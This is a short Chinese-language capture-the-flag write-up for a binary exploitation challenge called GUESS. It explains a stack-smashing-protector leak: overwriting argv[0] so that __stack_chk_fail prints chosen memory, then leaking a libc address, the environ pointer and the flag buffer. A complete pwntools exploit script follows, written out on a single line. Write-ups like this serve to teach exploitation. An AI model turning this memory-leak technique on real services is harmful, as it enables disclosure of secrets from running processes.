参考了其他wp之后才慢慢做出来的 记录一下
首先checksec一下 有canary
放到IDA看下源码
运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary
本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读
源码中有open("./flag.txt")即已经读到缓冲区,需要打印buf中flag值
思路:有三次输入机会(提前计算出offset)
1:利用puts函数leak出libc基地址
2:计算出stack上的环境变量environ的实际地址
3:算出environ与buf中flag的偏移量,打印flag
其中,断点打在gets函数和environ变量上
可以算出buf与environ的差值:0x7fffffffe018 - 0x7fffffffdeb0 = 0x168
exp:
from pwn import * elf = ELF('./GUESS') libc = ELF('./libc6_2.19-0ubuntu6.14_amd64.so') def get_offset(): for i in range(0x80,0x180): p = elf.process() p.recvuntil('flag\n') p.sendline('1'*i+p64(0x0400C90)) p.recvline() x = p.recvline() p.close() if "six" in x: print hex(i),x exit(0) def leak_data(p,addr): p.recvuntil("flag\n") p.sendline("1" * 0x128 + p64(addr) ) p.recvuntil('***: ') def leak_address(p,address): leak_data(p,address) leak = u64(p.recv(6) + '\x00' * 2) return leak p = elf.process() #1: libc_address = leak_address(p,elf.got['puts']) - libc.symbols['puts'] info('libc: ' + hex(libc_address)) #2: environ_address = libc.symbols['environ'] + libc_address environ = leak_address(p,environ_address) info('stack address : ' + hex(environ)) #3: flag_address = environ - 0x168 leak_data(p,flag_address) print p.recvline()